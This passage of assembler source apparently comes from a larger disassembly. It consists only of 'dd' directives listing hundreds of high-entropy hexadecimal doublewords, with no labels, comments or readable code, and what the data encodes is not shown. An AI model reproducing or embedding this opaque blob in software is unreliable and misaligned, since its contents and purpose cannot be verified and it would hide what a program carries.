0BBDD768h, 0A1EBA213h, 20643007h, 0F65AD302h dd 574A68DBh, 8AC833C6h, 0D01738C1h, 3AD7F45Ah, 0AE3B7E45h dd 3914FD39h, 0E928D8BAh, 3253266Ch, 652E1ED1h, 60DCC941h dd 74131AF7h, 2700ACB4h, 0BC74B289h, 6F8B7D69h, 0EFAD4A60h dd 68418796h, 0DD230537h, 41C2573Ch, 5CBC2AAFh, 85E695DAh dd 0F30B4790h, 0DF3DA25Ch, 8A1FB9A2h, 0E959D45Fh, 5725C7E4h dd 2D0B5E54h, 0E973FB5Ch, 0E62149C0h, 694CE02Eh, 7FB8055Fh dd 7C7D3405h, 0F2B0AF3Eh, 9D5C045Bh, 0A177E931h, 44802ABDh dd 27B69BF9h, 4D009D7h, 0F56A3D2Fh, 3606BEAFh, 0C2057D0Dh dd 0F4188617h, 461029FCh, 0E1EC4E56h, 0A6E33114h, 30EF45h dd 155A280h, 16BD68F0h, 0C5B75D57h, 409504DBh, 29503AE5h dd 4B68175Ch, 0BC41FE71h, 36C95332h, 12FDFC7Ah, 854168E9h dd 88C0FE59h, 962B63Eh, 0FC793AE9h, 6E6842F9h, 0FC75A5F5h dd 645D61A1h, 510F303Bh, 53138268h, 8A000EB0h, 3C6B2EF1h dd 7EE92C77h, 24F4ADBEh, 8B057F0Eh, 0DF5E074Fh, 3FCA7499h dd 8D0C9DFEh, 0BD3FC212h, 0CA011942h, 0E305EA10h, 6F174E09h dd 4AEC70F0h, 0C769BC15h, 2F6097Bh, 63940C0Ch, 44547D27h dd 42559517h, 0CF12AAA9h, 0D35CF805h, 79BC2124h, 0E892D1B4h dd 0C5339C4Bh, 65A94205h, 12AC18BBh, 6B2655A0h, 0F2A597C3h dd 4ED09ABh, 5228DE62h, 0B8D08EAh, 0E06FE91Eh, 1646B8DBh dd 0A048F42Ah, 0E459F21Ah, 185C05ADh, 0AA00204Eh, 0C872B7C9h dd 70F9B064h, 16DD301Dh, 0F17ADE0Ch, 4FB54D4Fh, 9602517Fh dd 920F8A4Bh, 0E9339CEAh, 4B62804Dh, 0FBB7D4AFh, 126016F0h dd 0B2E663Ch, 30703C8h, 94D50B01h, 0E6882494h, 0FA03386Fh dd 80EA285Bh, 0CCE91293h, 1ABC6A10h, 2A5ADD8Fh, 137A8640h dd 4AA71495h, 0AC3D8CB9h, 6151B09h, 6402554Dh, 4951AD4Ch dd 4B4D442h, 0C3C7F028h, 65588072h, 31403038h, 2D6AADEBh dd 0AF24407h, 29580880h, 11E812D7h, 0C7EB71Ah, 35B55657h dd 0CF54AE0Ch, 4EF4177Eh, 0BD0929A3h, 0E829120h, 0E5D74F06h dd 89522566h, 1FD16231h, 0CA444DC4h, 0EB04EDF9h, 0EEF865AEh dd 1FFBE617h, 0E7CA01BBh, 3133250Bh, 1230783Bh, 7741E2C1h dd 3D16CE8h, 4207128Ah, 3C111DD7h, 0C73D764Ch, 370A768Eh dd 4756CFC1h, 0EF83704Dh, 70194F09h, 0E9C90144h, 0CF4C12C2h dd 0F30F4F68h, 0AEE90960h, 12E0E98Fh, 0A56251FAh, 8385A35Dh dd 939E58DDh, 2DD5D069h, 0A53A9461h, 6C853A6Dh, 39C0A290h dd 250190A4h, 17FE3A77h, 446D6660h, 0D859E5Dh, 61F9A4E9h dd 74A93E79h, 2A25E9E0h, 57947F97h, 0C0EB42B5h, 28629826h dd 9B00274h, 0AE7E1AE5h, 1CF5AC03h, 89E924EBh, 5680A7E9h dd 9C92BB4Bh, 188CFE05h, 3877584Ah, 3CAA83A4h, 5EC51706h dd 24A67846h, 2941DEDh, 71126827h, 6B091D4Ch, 7D36207Dh dd 0DF98D450h, 3C7FB624h, 5835E909h, 9D315843h, 7238FFD3h dd 85B94FE9h, 402B83BBh, 74E0C4C1h, 541E2163h, 578C2DC7h dd 3FEAA122h, 7C3D1BC1h, 0AFA873A4h, 0F369DADEh, 0D01E0846h dd 0F8885007h, 5358C521h, 0DAE0EBD9h, 7E6CB75Bh, 68C85627h dd 2C6805DEh, 0C0C861A5h, 73EE2962h, 35AA698h, 5002C3FDh dd 4A2E22B8h, 0E0B023FCh, 9119F8Dh, 160CE95Fh, 316035DEh dd 4B0A68C3h, 0EF463439h, 0A5156EF2h, 0B84C4420h, 99115003h dd 53884A56h, 164D2FE9h, 2E6F0FBDh, 526A997Dh, 0E84EBA28h dd 650B1225h, 4DD0294Eh, 1D3808C2h, 0C6FD51A2h, 8D8E2048h dd 1DE9584Fh, 0BACEEE96h, 0A4C04927h, 8F042CACh, 0D106852h dd 367431AAh, 6C267FE2h, 2B0251CCh, 342F1921h, 8BF4BA2Eh dd 0CADB6EB8h, 520BB3ACh, 5C7A14F6h, 0FB90DC4h, 0CCEDECABh dd 0B5592B9Eh, 5C16F997h, 78C97305h, 0BFF6C436h, 0DE25766Bh dd 0C8C7D1A9h, 5E2801FAh, 2B216294h, 0E90B66CBh, 98551E8Ch dd 4E31686Ch, 67173103h, 0C52A6E39h, 0C5920348h, 0E053B914h dd 0AC0532E9h, 978E900Eh, 62346949h, 0E95E82ACh, 59836994h dd 82C1A842h, 55B217BDh, 140EA0A3h, 0DAEBD713h, 4F96AF8Ch dd 7B9AA755h, 1384435Ah, 85C33981h, 7A118C2Fh, 0A672106h dd 9FA10105h, 2D0591D8h, 341537CEh, 584CCDBCh, 0AE014A00h dd 2CDFE966h, 0AB85FC9Ch, 20ACE64Ch, 8340E005h, 47B8800Ah dd 502E650Ch, 29046D31h, 0E9AC5BDFh, 0FDED8317h, 139BA68Eh dd 200C41E9h, 0CED59783h, 9D27BD7Bh, 0C2B9FE4Ah, 0EB65F701h dd 6D0DE986h, 37EB0141h, 29342C0Ah, 521720FBh, 0C14A4725h dd 137E828Bh, 0CAA1EBB4h, 0CF66FC3Ah, 0F0FF9268h, 4FB73415h dd 7EFEAD81h, 0D4FCE962h, 1C4D2DFBh, 0F7EB5812h, 0D758C95Ah dd 0C1423F73h, 51EEA7CDh, 5701AD72h, 0F3F0947h, 0FDFEFC87h dd 79E83B31h, 41D72102h, 27F44B19h, 0C5312CCDh, 0AF671698h dd 0FCB51176h, 0C0997F5h, 8978EFFFh, 91E093E9h, 13BD285Ch dd 17E2E19Ah, 21CB2901h, 5B87AB6h, 8F8A024Dh, 70341EE4h dd 3A16F55Fh, 70281D24h, 9E5AFE2h, 84D34D7Dh, 88AA4DE9h dd 4E13D409h, 18E91D30h, 0F36B0841h, 5E5C8534h, 7EB328BEh dd 9F5AB240h, 72A9057h, 0F4ED4B68h, 65B71C85h, 9163429Bh dd 3403FF0Bh, 0D6F35AEDh, 7D2C1BA8h, 3E7BE912h, 3F144FBDh dd 0BD3E0670h, 66D3F6C0h, 0D82800FCh, 7F6818F2h, 33975F18h dd 27E26C95h, 0DF202D95h, 559ED6C4h, 0B59F4BFh, 529AB116h dd 0DE529ADDh, 29DF49B0h, 5EA744B9h, 66A304BBh, 5938C25Ah dd 0F9D25007h, 78D97752h, 0F10B549Bh, 0D46E11E6h, 0B5C1EE91h dd 0D03EBE27h, 0AA7F1738h, 0E4F13EFBh, 3B11CD3Eh, 0C1268609h dd 63B64AFh, 4F090733h, 76ACC995h, 8277E9A5h, 3A01C22h dd 0E290FC88h, 80045B58h, 0CAFEF8EAh, 6472CDABh, 0B12FE931h dd 4B51513Ah, 5F271147h dd 0CEDDFF2Bh, 28AC8263h, 6F08DCCDh, 54530B5Bh, 0AB83C7F7h dd 0FC409512h, 0E2814200h, 129A3C25h, 43DA871Fh, 3FFDB7C8h dd 52E8CE03h, 0F6B01605h, 3B164F13h, 0BF98942h, 0E598A24Bh dd 141DE502h, 245DE61h, 1C3CDB21h, 7B35F6C1h, 0A4B84CC5h dd 531592BDh, 70670705h, 680B31B3h, 365E3F85h, 615C55F2h dd 307405E9h, 0F62006CDh, 0C3DB9529h, 0AC10C0A4h, 0AF4C695Eh dd 75A53257h, 14B8CF9h, 0F45C5595h, 40C02420h, 15040593h dd 89BC7944h, 517EEAF0h, 0C21C4F7h, 73E5D3C1h, 53F32DE3h dd 0E984224Dh, 0F6FBEAF7h, 0BC2D0198h, 127BD05h, 704C361h dd 89FBA2BFh, 75D955C0h, 0C0EB52E5h, 10C82E6h, 0F4CB205Fh dd 24B8D610h, 3F023D5Dh, 4040A36Ch, 4852B229h, 5925F49Bh dd 0E7802001h, 0B6A06F57h, 0C1E0F9EFh, 0F9283E16h, 0D85BEAF7h dd 18F12808h, 263E06CDh, 53887424h, 1F9FB2C3h, 0B484A7DAh dd 3213AEFCh, 0C2BBF2AEh, 5FFED66Fh, 571F92D3h, 0E464214Bh dd 60DAF07Bh, 91BF1089h, 7B4CBC29h, 942F204Ah, 0DD2F3C80h dd 5DA7B0FCh, 745D95B2h, 0F56EF0D2h, 0D8F688C7h, 8C0C6A90h dd 3E03FC0h, 4437292Ch, 66F0EFC7h, 0FC969559h, 456ADCB7h dd 6817A0E3h, 0CD0ADC2Ah, 7517C35Fh, 0D9AEAF56h, 58C22F81h dd 0A36EDF5Ch, 380BCFB0h, 554A4D72h, 6E7DC192h, 5D118145h dd 909BF23Fh, 0E0ED2812h, 0FAF73C4Eh, 0FE5D0C40h, 0CD304AEBh dd 0D1B87F4Fh, 3535F94Ah, 0DF0B4D29h, 5312FEBBh, 38E88EE1h dd 2A9A49D2h, 6590D49Ch, 217B5405h, 57C42910h, 98A6C4EAh dd 1B4FE801h, 60C4F7ACh, 375E0FA1h, 0D39CD8A3h, 20CBFEE1h dd 0E3F3E90Ch, 0CF0FBD3Eh, 443B9654h, 0B2D0E065h, 5853FBCAh dd 0EA004B66h, 20F968CCh, 0DEBFD189h, 1FC6B6Ch, 602FE909h dd 90DE2986h, 16C29859h, 0A125D136h, 74DFDD7Dh, 0D52E68A9h dd 0FAC2DB3Ch, 0C162C8F9h, 0FE2D5A58h, 48BB9913h, 5A133447h dd 0BEF45CF8h, 0A1A952Ah, 0F475452Bh, 7B604E76h, 4B012A6Bh dd 16FE0EC1h, 0B12B0432h, 0C9D42A79h, 0E76CAD80h, 0F1BB5A0Fh dd 2F9743E4h, 0D400CB2h, 0D9C5C213h, 55EC6CE1h, 0E30916C4h dd 0B4B9104Dh, 0B6FD5925h, 8935B455h, 0EE9EBA23h, 82B223D7h dd 0E71FE982h, 92EA0A5Ch, 0A43D8E03h, 767A026Dh, 29925BC2h dd 53A00359h, 0B5DE8320h, 9FEC378Bh, 0C346CB35h, 7034C6A9h dd 70A2C765h, 6E297584h, 6F7B6819h, 20F66493h, 0D7EC7AC6h dd 0D0A0895Eh, 1C472D09h, 2CF53C44h, 0EF2104DCh, 0B1AA4F5Dh dd 0FDB0204Ah, 4A292D48h, 0F43D6C3h, 0D59128E0h, 5BDD3142h dd 7C4FDCC0h, 62EFD09Eh, 0F7FED3CAh, 854F704Eh, 0AD2C22C1h dd 2F71D9DDh, 0FE92D83Ch, 4AAC7CC3h, 6FE2293Dh, 9735FFF7h dd 6857E02Bh, 81291100h, 714038F2h, 90E9171Fh, 0B38A41B0h dd 0F7CB80EDh, 0C022E398h, 0F3F208E6h, 0E5E96C1Bh, 0D55B8A7Eh dd 0CC1D146h, 4A78ACD6h, 0B0D87920h, 0BF205568h, 85CE343Fh dd 0DD53F1A7h, 22BB6083h, 0F1C528A0h, 2C9A081Dh, 44A1ED8Eh dd 44C2E7E9h, 5135000Fh, 58BFB170h, 43C30BD3h, 470B3DD0h dd 0E713F872h, 0E20E7129h, 4F7E047h, 2658285h, 145CBB53h dd 56551E97h, 5712045Eh, 0F8E58169h, 5A074705h, 15602614h dd 0C20ECEEAh, 4E654BE2h, 68DB101h, 510A1C08h, 744AD947h dd 0A7868549h, 57F61AF1h, 35BDCAC9h, 2692D062h, 5564AD3Dh dd 69F4EACDh, 0A6011471h, 0F280002Fh, 0D7881CB1h, 4BFE1F5Ah dd 0AADC0996h, 0DF894062h, 3492F44Eh, 3C657720h, 80B9EEC0h dd 0F001E3B8h, 5052665Ah, 0ECD0D8B4h, 8ED4F63Fh, 64FE3FCCh dd 0A2C1E4C0h, 0D45572F2h, 49E009AAh, 0CE9F5EF4h, 0F7F154D2h dd 0D6B2A22Eh, 8B8EA5ADh, 0B500BDF3h, 3DEAF4EEh, 0BA8DD250h dd 0E4251EE6h, 1DC45067h, 96C102B8h, 0B616EF4Ch, 0E85FADA8h dd 0CBB03D68h, 0D7CC7D45h, 7AC5DF40h, 0B0720A27h, 4DC80988h dd 0DF56B1CDh, 0F309A0ACh, 219B750Ch, 6E8EB4C9h, 996FAB3h dd 5D5C433Ch, 0C57FF28Eh, 13BF39ECh, 0A491B82Ah, 0A906A8AEh dd 49A2B092h, 50018973h, 7F58C629h, 0AEA40AECh, 0AA0E39F4h dd 0E7D060C2h, 0AE534A6Fh, 0C029C282h, 9F787C13h, 89E91556h dd 86965713h, 0BDA8E919h, 2A715630h, 0BF676D35h, 0FFDF5882h dd 595BFC77h, 59E44829h, 52ED141h, 0B46B2B34h, 0E3FA07E7h dd 6A057C90h, 2DDB3B3Ch, 568E0EEh, 407CC309h, 4DE7701Eh dd 5427362Eh, 6816E4CCh, 6D3419A5h, 935BFDAAh, 28B19615h dd 64EF530h, 0FAB88880h, 0F463485Eh, 1380672Dh, 0AB11C30Dh dd 360F3E78h, 0E453BE10h, 8CEA943Bh, 670B729h, 45BCD595h dd 0A353E919h, 0FF30AC38h, 0C7C29D8Dh, 44B9E7D7h, 0B2B31214h dd 0A1F2B94Fh, 1606BB2Eh, 909EFABDh, 0AAF9BD53h, 0B6A95F3Eh dd 5F685D0Eh, 1DAE3BD8h, 546444A0h, 7691174Ch, 4A08A4D0h dd 4143B4C2h, 0F57A7160h, 8008042Dh, 1CB6CDDDh, 52D2BF7Ah dd 0D601C746h, 59F7409Ah, 58C38904h, 8DF48268h, 706D4E48h dd 236568D8h, 0A7321C6h, 20CFBA3Dh, 585A5C22h, 510E72B9h dd 88FF3404h, 0C025B79Dh, 804DBC25h, 48BCE688h, 61C2C253h dd 0E9D02C7Eh, 54844EBAh, 0B4973B5Fh, 17414A90h, 0F1488803h dd 6E974DE3h, 89AD4573h, 4E22E73Ch, 1EB5E417h, 5732A680h dd 55808DEh, 2D0206A3h, 0DC685059h, 0F9967D70h, 526C120h dd 951ED5BBh, 0EF5F85EFh, 4003BD2Ch, 7B0BB96Eh, 62277F41h dd 0BFDC5786h, 0CB09760Ah, 0F45BD989h, 50410688h, 3273F656h dd 0EC731728h, 6D4B4A09h, 705A788Dh, 0C112BF10h, 0AFCB7F84h dd 4F785145h, 0B0C04AB8h, 0E919025Ch, 75B05A4Ah, 81315A58h dd 567134h, 9F401E68h, 99F1AD9Bh, 6BF36F10h, 0A4C51C12h dd 301ECB70h, 4EC844A6h, 0AA0512CEh, 6A3086E1h, 23BD8042h dd 4538F0E3h, 78CCC4C2h, 0B846E020h, 0D85F325Bh, 39F8972Eh dd 2D2EB12Eh, 283C8B19h, 9280B120h, 5AB3F842h, 7C73543Ch dd 0D72A6804h, 3317AE3Dh, 26677C6h, 0A1DCB5F5h, 16428904h dd 0BD306EDDh, 2D714AD6h, 5A12B46Fh, 0C0BFE29Fh, 0B3112CBh dd 0D2F764A5h, 181A5C74h, 0B4095D13h, 50E9315Eh, 743701B3h dd 6DE96EB0h, 0E8F053D9h, 295745B9h, 75C9DECFh, 22E4F747h dd 1C572117h, 7E32F08h, 751FCBBBh, 0C9F0AE15h, 37A7ED0h dd 1EB831Eh, 431CD1E9h, 0C080B050h, 6E0C04E0h, 2C851D34h dd 30C10E95h, 0CB285840h, 24F526E9h, 0E29DC293h, 0C3913889h dd 0A96C124Ch, 0E430120h, 7E41BE56h, 0C0411AF2h, 0E5043272h dd 81711D65h, 2FA57D31h, 0EEEC7DDDh, 3DE89725h, 0E0243317h dd 7E2D08F0h, 9A4842ABh, 284BDE0Bh, 0EF2CD287h, 8F5CF585h dd 2F00F265h, 0DA12F511h, 0DADB9909h, 0D2085112h, 0EAB309BCh dd 0BD0BEA76h, 479AD5F6h, 0FDF8A9FFh, 45BF274Eh, 0A7F9882Eh dd 0E4DEF60Eh, 0ACB86F42h, 0C75F6889h, 9538A8B5h, 0CBC8B8CAh dd 5881DF3Bh, 0E8AAA444h, 543750E5h, 436C2B01h, 1EEFE942h dd 5547F36Bh, 0C9DDF04Ah, 0FB0F94B7h, 38BB1864h, 6A285C47h dd 6E3B0BE3h, 56BAEh, 1B83C7A1h, 968A967Dh, 0F0F5C408h dd 9BA0511Ah, 0E183668Ch, 0BB45CD40h, 419737A4h, 0F9269417h dd 5FF882E0h, 7A58D505h, 39102D1Dh, 0DD1F34D3h, 0D1800728h dd 8181416Fh, 30187B30h, 440C626Ah, 2E5A822Fh, 0F2010A81h dd 0BC480660h, 92F0EB39h, 0E105A3B0h, 296D0970h, 92EBA2FAh dd 6E8CE13h, 6B2E0900h dd 0B951430Ch, 9D27800Ch, 187E7420h, 0C37694Dh, 0BE3E55C5h dd 39C9037Fh, 0DA484C44h, 7ECC55E6h, 0DF40CD04h, 0D1AA093Ch dd 0C1BD07E1h, 97187BC1h, 25660370h, 0F50DD2h, 2D7F2C5Ah dd 80279E4Ch, 0F16FFBF3h, 0A04EE907h, 0C1EF5F84h, 0F5606904h dd 9C7A9233h, 0D1BE4FC0h, 0F4957E44h, 17C39462h, 0A030FC8Bh dd 0FBE95AD1h, 0BE053792h, 92835DE1h, 0D082291h, 0B56A8CD8h dd 2D8F42F7h, 62960789h, 0D4D02927h, 275FC095h, 503B4344h dd 4E135AE9h, 18337E2h, 32D2E9CDh, 271230C8h, 0FCC26697h dd 40949417h, 68134C50h, 0F606AF6h, 2246E117h, 27667B62h dd 1BFF6F7Bh, 0BF08021Dh, 6CC5477Fh, 4909A960h, 0E9719704h dd 0E7ACF368h, 0CF313598h, 8C5F9E4h, 802D1F7h, 5F495CE9h dd 0B62D9F4Ch, 4F371947h, 9B83146Bh, 0F527C203h, 8AE11E2Eh dd 4E5E010Eh, 91F443DCh, 0E966A790h, 31315348h, 0C2216614h dd 44ACB870h, 1E4FB24Fh, 0FA2C10E3h, 4D725B1h, 0D8BE5F33h dd 4F4021B5h, 99E59F09h, 0C02729A4h, 25E99731h, 9B721A08h dd 0BFE28320h, 527217E0h, 0A0165B22h, 0B2F454Eh, 0DE949CEh dd 6B6E32C2h, 0EAC7439Dh, 8598DD43h, 0B9807A73h, 97670053h dd 3F18163h, 44342529h, 0C80B84C1h, 0A1D790C8h, 0C28B032Eh dd 52D98951h, 7212224Eh, 72F5E2E8h, 0B265CE2Bh, 0F59D55A0h dd 0EF8DB18h, 99F656AAh, 9546CE93h, 7A48D366h, 9CCAEA9Ch dd 6FE6014Ah, 2035D554h, 6B16914Bh, 83022542h, 40A163D3h dd 1D8EEDDBh, 8247E11Ah, 0E07C70CDh, 0CF51D60h, 5ACA323Eh dd 0C52EFEFDh, 0CCF30418h, 0D5F0FF31h, 0F6D2029Eh, 67FDE9E7h dd 0E3A5985Dh, 4BD19B46h, 0B316EB05h, 212E140Dh, 4AA997F9h dd 8D185B3Eh, 2BB9CCDFh, 65C00914h, 7F0607C9h, 3A6C4385h dd 46C81236h, 12CDAF31h, 0F534FC7Eh, 112028AFh, 0F19953E5h dd 71E7ADB8h, 931559Dh, 719C4751h, 3B636275h, 0B3EFC14h dd 2353DB8h, 4125E67Fh, 0B6A06CEh, 0A05513E2h, 7528CAA2h dd 86234860h, 7FC9C24Ah, 43772CC0h, 0D001260Ah, 0BA34072Dh dd 0F5DAECABh, 8400B2AAh, 31AF2DA1h, 0A5A4CEF5h, 80CFD510h dd 9E97D425h, 883144A9h, 0DD84BAC3h, 73B2E0C1h, 2DFBF2D8h dd 3B4029E9h, 610F2DADh, 6F4DC53Ah, 35B2166Bh, 0FCB16C50h dd 6385FD3h, 0BAD9F7CCh, 0DF0D3E09h, 0FE8F5712h, 6B66EDA9h dd 1D09BF7Fh, 82472CC5h, 55C69DC2h, 0C408EB65h, 0C8290EE1h dd 3EF23AEBh, 4A8AB912h, 0FA1F7DACh, 0A15B972Fh, 2CBE2E6Ah dd 40F180B8h, 0C48712Fh, 83576914h, 0B7B17C89h, 126BD66Ch dd 560A022h, 0C433200Fh, 87E88044h, 19601106h, 9229018h dd 93E91AACh, 0D9DD9D67h, 46DDCBDBh, 18DD5AF6h, 6B796A99h dd 0CF6560BFh, 0BD20CB0Fh, 5654177h, 7F7CE86Eh, 202E6E2Eh dd 8B2A5151h, 0E23441E1h, 1538CA83h, 40ECAA84h, 0A2E8D2C9h dd 0E1912CC9h, 820FB589h, 0BFAC3F5h, 75979FF8h, 0FEDD218Dh dd 5EB90978h, 0F52D5A07h, 745E05E3h, 5B07A132h, 0E945303Eh dd 799D5958h, 29AC8A08h, 9B56C96Ah, 0A807DCC9h, 89014FC4h dd 9A7CFA0Bh, 16F1DF49h, 2B92C39Eh, 564B4BAEh, 9F20967Dh dd 529296D3h, 4BE98088h, 0BAD407DAh, 2ED0B39Dh, 74782BD7h dd 8C68016h, 8B6F1DAFh, 0A0FF9DC1h, 25E939FAh, 833ADE58h dd 2A2F68C3h, 10C45316h, 0E2107A9Fh, 0C796505Fh, 0C3BA6CC0h dd 5F129221h, 0A5139252h, 0EFA0F0D7h, 0C5ED5DE2h, 2F4E1828h dd 0D38530E2h, 0BAFD4C3Ch, 0CB09BE67h, 5F289F1Fh, 0D4683910h dd 56F2434Ah, 694221D3h, 78043348h, 4A13425Ah, 0D6A246FEh dd 9A2C4B61h, 0A3C2B821h, 625907D5h, 9CC03F6h, 1CC0B3E0h dd 570AD1B8h, 55050471h, 810BCB51h, 0C160C9A1h, 20D23B6Ah dd 4FB7695Fh, 78B90A20h, 0E150BF58h, 4D6FE0B7h, 1ED82C2Bh dd 0CF2958B8h, 54E917C4h, 0BF5B48F8h, 0C425B52Bh, 340ECF7Dh dd 0FEADBE0Ch, 36E957A0h, 2844885Eh, 5809D5B2h, 80032440h dd 7E096425h, 0E95E4060h, 0FE4EF098h, 5D10B8F7h, 52561AA8h dd 5FD76326h, 0B896301Ah, 0D64F48C5h, 5609C5EDh, 0F12437E9h dd 0CCC0EE5Eh, 5C1763D2h, 0EF040929h, 0A0D42180h, 5B17FD4Ah dd 3EE03ECh, 56F00F4Ch, 76241804h, 82FEE679h, 0D17F3127h dd 0BE8A770h, 76BEA2E9h, 0ABDB209h, 0AC080F1Fh, 290B8894h dd 2A9AF569h, 0F0EAF210h, 0C0627995h, 25DD6856h, 1E3085A8h dd 0CE21D3C6h, 2832A02Fh, 2649B720h, 0F6A8E05Dh, 31099CB3h dd 0BD9EDD10h, 6135E30Fh, 0D501B344h, 2F940AE8h, 171A4170h dd 0AC215706h, 9BD004E1h, 80BED354h, 0E9DA29A2h, 0F8DEFF7Bh dd 21EF9234h, 0F2EB56C5h, 0C37C7A6Eh, 18C5F235h, 68B001A8h dd 0E8947FABh, 5DA58D62h, 0CA623D7Eh, 86515516h, 1792BA60h dd 1D62BCC5h, 277A9CF9h, 39D18487h, 372BC04h, 4B3C7805h dd 3554AD10h, 0BF0097D2h, 7189172Fh, 0ACF05029h, 3C7AB31Dh dd 0D007BCA7h, 0EF72E1BDh, 0B447061h, 0D058E70Bh, 2AA0F729h dd 0CFB8A54Eh, 3BAFE915h, 0E11F51CEh, 5A0864E3h, 1CE28102h dd 4015932Ah, 253D89EEh, 0AC547C90h, 0B6C7872h, 6C7D3572h dd 0F9AF8277h, 8C000992h, 8F7E29C3h, 2FB4374Ch, 5A23207Dh dd 7710E105h, 0A453FA92h, 45DE9D83h, 561AB824h, 680B7F93h dd 3C6C015Fh, 36A7B285h, 28670F40h, 0D8BA26D2h, 5B5EDF20h dd 0AAE76DA8h, 59D983C7h, 5FB16CF0h, 0AD9631E9h, 532D848h dd 0E87D80D7h, 0E97A0401h, 4EFAF848h, 890C78EEh, 67FC3FF9h dd 70A268A0h, 0FB0BC89Bh, 4B2D51B0h, 3F3BD321h, 0E7FE2084h dd 0AB309409h, 5D048073h, 0BF09F140h, 2A5A13C1h, 0C1E400ADh dd 81D1B770h, 8ED2EB69h, 8C3FAC64h, 9E402751h, 0BAEE4B89h dd 9F448598h, 0EA2D1152h, 0BD32D314h, 0C4E0D1A5h, 0F00B8AB9h dd 0DD057D77h, 0E95107E0h, 48263925h, 880D4440h, 1E138DEEh dd 0D0BF0E68h, 5A856E76h, 5505B925h, 2101FAC1h, 9E972177h dd 0F8165B62h, 0EFA492B8h, 1C8AD4F2h, 2FC68BF2h, 45684E00h dd 0B3269A99h, 96A7475Bh, 12320D3h, 97D15097h, 0A8C2DAB0h dd 0C1943D26h, 1007EA00h, 0ED011968h, 0D0081CA0h, 5D2F141Ch dd 0B0253FF4h, 82A06DC1h, 5A5D7162h, 0DE8F26BCh, 0CB51678Dh dd 17084CDCh, 96BD002Fh, 29947BC3h, 3FD9F1F7h, 0B5B4A217h dd 0CB500CCCh, 0CA0E4A03h, 8BFDC217h, 9518B0E4h, 7F539B41h dd 0A22AD539h, 0E3A19368h, 0D5810D3Dh, 401663E9h, 9B0EE85Fh dd 5F43EB58h, 0C2D729B9h, 316AC7EFh, 4A42B3F4h, 0EB1EDF33h dd 760278D2h, 60B3589Bh, 781CF644h, 0E92C094Bh, 2A7AEF15h dd 0A40CD0Ah, 0E20B86BFh, 7ADBDE50h, 2D033D7Bh, 1D800Bh dd 3301852Ah, 0CE94538h, 165FCD59h, 89AF7368h, 0D7CF3049h dd 624B1912h, 3694BE03h, 0C28395F6h, 329DF034h, 0E9FD1689h dd 0E86FC60Bh, 7D5A4294h, 7E216565h, 96C8210Bh, 0C0092C94h dd 0BBD816E2h, 0F7F6FD76h, 59F970ADh, 31FB4416h, 7EB9E979h dd 6E05FA12h, 0B6B4FB2Ah, 320C5FC3h, 9CD55118h, 22DEA106h dd 3BA7C74h, 70551371h, 0C9E2D2F7h, 0E9EB1650h, 0CDA964C2h dd 3940270Fh, 26D5640Eh, 0A84E2EB7h, 568C05D4h, 14C26CEFh dd 6839DC59h, 6D160391h, 1ACC72A7h, 7A5B72C4h, 58C63DE8h dd 0CE0007DCh, 81290C41h, 0F1321C9h, 0D3BE2070h, 7CEF5877h dd 0C4255340h, 3FD065FEh, 2FD9EC9Fh, 0EB125DC7h, 0CDE86AAh dd 353E120Bh, 804BFA46h dd 4FE95508h, 4E6DE809h, 0EBE6A49Ch, 8CC9A004h, 739F1117h dd 0E9C282A3h, 0CC5224F7h, 0E784B55Ah, 0A2C5F2FBh, 0B5B2605Ch dd 0ECEBE04Bh, 7D681759h, 0C229BC27h, 46D8F664h, 88C8BE94h dd 0F2284594h, 0CD661B16h, 778166E8h, 85446756h, 7442610Ch dd 59F280FAh, 0D095881Bh, 4F5B09BCh, 32903AC7h, 2C93AE19h dd 2AEF4427h, 8E86FEE7h, 0B6E90B6Ah, 4CFDFECFh, 6068123Ah dd 4C5350Ah, 0EF263F47h, 4AAA1C65h, 41BD6672h, 6BFEC10Dh dd 975BA438h, 0A320EC34h, 991908Ah, 3F3A7743h, 203DDF2h dd 62D4F381h, 7E318240h, 0E7CE0E38h, 0E97F3C00h, 0D6956036h dd 12B65B71h, 278DFCBDh, 0C8C4B976h, 10809E89h, 27F253CCh dd 207A478Fh, 0AA27773h, 2D33767Dh, 0E9507374h, 0A50F5ED0h dd 0CB6FAFFCh, 0AD35F1D3h, 158E617Fh, 0F6680081h, 0BF135A06h dd 0B2E67B13h, 0E152E90Ch, 10E0689Ch, 20CAC6B5h, 0BD016CB3h dd 7E0E78FCh, 0D041E5D1h, 800073F0h, 5A13E0C3h, 0CABEEB28h dd 800F1F50h, 0CB129F5Ch, 41FAAEA0h, 0E0066562h, 0D5D48B58h dd 0B2130941h, 0D5805FA7h, 65DE6808h, 0E03966BDh, 3D5F390Ah dd 0E9FA3104h, 1D35B8DBh, 8CCDC6FEh, 9560CAF3h, 0CC01EB0h dd 409FD299h, 5EBFBE3Bh, 313E1D3Dh, 0D0211FF3h, 177ACC2Dh dd 6458F568h, 0B5F8ABCEh, 72A4E04Bh, 84E3633Ch, 31707BBBh dd 0E9CB8A80h, 0B98C499Dh, 0F2C67885h, 8BB85A2Ch, 476C6109h dd 6E36827Dh, 78BAA2C9h, 6917540Bh, 56CF07Fh, 0C11E2005h dd 3BCF10Ah, 0BFB45B07h, 5D2D83FCh, 82D690F5h, 99E92673h dd 381BD30h, 28F2C480h, 0D6ECD5F4h, 6E5559C9h, 45A8C9FCh dd 2E9846B2h, 6B444C12h, 6883A4BAh, 0F41A9729h, 4C3954A7h dd 0F31E90Bh, 0D2F63E99h, 7C0FFB2Bh, 0A167848Fh, 24F24FA4h dd 802A659h, 71244FEFh, 3035B103h, 0BFF5D9CEh, 0F728AD35h dd 0FA36EB34h, 5B6A2688h, 0C7A1B93Bh, 33D4DC88h, 0A35A31B0h dd 2CBC8567h, 0C218A35Bh, 0FE354CE9h, 52349210h, 8CCBAFD7h dd 6116B8D4h, 9537FF08h, 80F53992h, 0BE7BD377h, 8E894E7Fh dd 0F2151600h, 50A428h, 0D21227B8h, 58C52156h, 829B70F3h dd 7B416F02h, 0FD9CD3E9h, 1A931A4Eh, 177C6D88h, 68BA9801h dd 1610C12Dh, 885B03Eh, 64A67C62h, 56602505h, 5A0D8C06h dd 5FF9744Dh, 69B0B231h, 6267F772h, 58BC8E08h, 301243C3h dd 84FA45E6h, 2C0813FEh, 3358FFD4h, 8E02C605h, 0DF40B551h dd 50581B72h, 0F98A12D2h, 0C8D50C0h, 0C6444AE5h, 550FF9FDh dd 79FEE954h, 0BC3FEF3Fh, 4FEE4045h, 602C1E31h, 187347A2h dd 0BD13B8D0h, 4239ABFEh, 0F0D61E79h, 1A4AD2D9h, 82EBBF3h dd 0D0288174h, 315A952Ch, 56AF01A2h, 0EE2B9531h, 6C0D01A2h 